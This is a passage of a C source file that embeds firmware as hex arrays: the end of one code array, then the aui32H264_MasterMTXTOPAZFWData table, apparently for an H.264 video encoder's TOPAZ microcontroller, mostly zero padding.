0xa146e050, 0x4000ba34, 0xb7201ad0, 0xd010430c, 0x0906165c, 0x51d0d024, 0x55a9b729, 0xc00ea919, 0x0f042dfc, 0x71021094, 0x931afffe, 0x9080c000, 0x9ad6feb4, 0x430cb780, 0x9ea20d92, 0x0a5cc0a6, 0x0d48c0aa, 0xa901d208, 0xaa41d010, 0xffff7088, 0xb79f9226, 0xb7bf7dee, 0xb7df7e6e, 0xb7ff7eee, 0xc0027f6e, 0xff5b8c20, 0xb79f91e0, 0xb7bf7dee, 0xb7df7e6e, 0xb7ff7eee, 0xc0027f6e, 0x9c228c20, 0xc002a61d, 0xa1968400, 0xaa61d050, 0x4b8cb740, 0x460cb7e0, 0x9ea51a08, 0xc00e0f02, 0x9e6c2efc, 0x6cd3d2f1, 0x6a42c0b8, 0x018b02c4, 0xc06c020b, 0xc06c09a0, 0xb53f0a40, 0xa2997dec, 0xb59fa191, 0x0f867d6c, 0xfe74058b, 0xb7809a3d, 0xc0a6430c, 0xd2080a50, 0xc000ab01, 0xfeb49080, 0xa8999a81, 0x4b8cb760, 0xb74d0d92, 0xb78d5a29, 0xa19d5aa9, 0xffff7088, 0x75809282, 0x91a4c000, 0x430cb720, 0x4708b780, 0x5629b749, 0xc01c2244, 0xffff7d3e, 0xb72090c4, 0xb780430c, 0x058b4488, 0x5629b749, 0xb5804244, 0xfe744488, 0x008b9a0d, 0x5aa9b76d, 0x5a29b78d, 0xc0017106, 0xb75f90e2, 0x9ea97dec, 0x09b2d012, 0xa91d0226, 0x5a10c200, 0x00c4099a, 0x4b2db783, 0x4aadb743, 0x4c35b743, 0x59cdb583, 0x7d6cb79f, 0x4badb723, 0x5ad5b543, 0x2b2ed1f2, 0xa081f208, 0xb540a891, 0xc014402d, 0x9ea998d9, 0x5ac9b50d, 0xfe74058b, 0xb72099dd, 0xe091430c, 0x058d8d00, 0x5a35b743, 0x59adb763, 0x982afed4, 0x7068b79f, 0x753ec01c, 0x90c4c000, 0x995bfe74, 0x7068b51f, 0xc0007782, 0xb77f9142, 0xc2007070, 0xc00e55ec, 0xfeb42dfc, 0xb7609a20, 0xa91d4590, 0x7068b77f, 0xc0b89e5c, 0x00c46a42, 0x5935b743, 0x5d3d9e5a, 0xfeb42d04, 0x77829b39, 0x9142c000, 0x7070b77f, 0x55ecc200, 0x2dfcc00e, 0x9baffeb4, 0xaa61f248, 0xc0007508, 0xf2489084, 0xb720a3e2, 0xf248430c, 0xb740aa75, 0xb7494488, 0x75085631, 0x4a7d9e54, 0xb5802244, 0xc0004488, 0xb7209164, 0xb7894b8c, 0x7a995629, 0x9082c000, 0xa3f6f248, 0xaa69f288, 0xc0007508, 0xb7209164, 0xb7804b14, 0x7a994049, 0x9082c000, 0xa3eaf288, 0xfff97782, 0xb7409264, 0xb780460c, 0xf0484788, 0xa915a342, 0xb5800a04, 0x0a164788, 0xa24df008, 0x7c6eb79f, 0x7ceeb7bf, 0x7d6eb7df, 0x7deeb7ff, 0x8c00c004, 0x9e989c22, 0x09020802, 0x9140c000, 0x08029e98, 0x4530d010, 0x72c0cc14, 0x7200c014, 0xc18072c0, 0xe0095d09, 0xf0127204, 0xc0005d04, 0x72c49254, 0x0804d004, 0x15b4d024, 0xd00472c0, 0xd0240802, 0xe00015b0, 0x11813124, 0x442ab330, 0x72c09c22, 0xffff0886, 0xc40293a6, 0xd06572c0, 0xd0652c9e, 0xc8023c9e, 0xd0657200, 0xd0652d2e, 0xe0003d2e, 0x9e531514, 0x5408d01a, 0x50acd01a, 0xd01472c0, 0xd0240002, 0xe08015b0, 0x5c055885, 0x9304ffff, 0x3124e000, 0xb3301181, 0x9c22442a, 0x9d3a9e64, 0x0e42c809, 0x0346b09a, 0x9dc39ea4, 0xe0009e58, 0x15873400, 0x482ab330, 0x9e649c22, 0x0e42c809, 0x02a6b09a, 0x9e589ea4, 0x00009c22, 0x87c2c809, 0x0e60b060, 0x87c2c809, 0x0b80b060, 0x87c2c809, 0x0ac0b060, }; unsigned int aui32H264_MasterMTXTOPAZFWData[] = { 0x00000000, 0x00000000, 0xff0000ff, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x809000b0, 0x8090bca4, 0x82886a20, 0x82886aa4, 0x82886ae8, 0x82886b38, 0x82886b10, 0x82886b1c, 0x82886af0, 0x82886af4, 0x82886b58, 0x82886af8, 0x82886b4c, 0x82886b60, 0x82887ba4, 0x82886b68, 0x82888184, 0x828875f4, 0x828876d4, 0x82888288, 0x82888290, 0x82888294, 0x82888298, 0x8288829a, 0x828882a0, 0x828882a4, 0x828882a8, 0x828882ac, 0x828882b4, 0x828882b8, 0x828882bc, 0x828882c7, 0x82889870, 0x828869c0, 0x82886a10, 0x82886a18, 0x809003f0, 0x809003f0, 0x80908b40, 0x8090c73c, 0x80905abc, 0x8090c524, 0x809079b8, 0x80907228, 0x809009d4, 0x80902e00, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x0d080300, 0x00100b06, 0x00000020, 0x00000020, 0x00400000, 0x02ab0020, 0x00cd0010, 0x02490155, 0x01c70008, 0x005d00cd, 0x013b0155, 0x01110249, 0x00f10004, 0x01af01c7, 0x00c300cd, 0x0059005d, 0x00290155, 0x025f013b, 0x02350249, 0x00210111, 0x001f0002, 0x007500f1, 0x006f01c7, 0x006901af, 0x001900cd, 0x017d00c3, 0x005b005d, 0x02b90059, 0x00a70155, 0x02830029, 0x0135013b, 0x0095025f, 0x023f0249, 0x008b0235, 0x02190111, 0x00410021, 0x00000001, 0x0b060600, 0x0c0b0a06, 0x0a0b0c06, 0x0c0d0c0c, 0x0d0d0c06, 0x0b0b0c0c, 0x0e0d0a0d, 0x0a0d0e0e, 0x0c0d0a06, 0x0c0e0c0e, 0x0e0d0a0d, 0x0f0c0c0c, 0x0f0b0d0e, 0x0d0f0e0e, 0x0d0f0f0f, 0x0c0b0f0e, 0x00000006, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 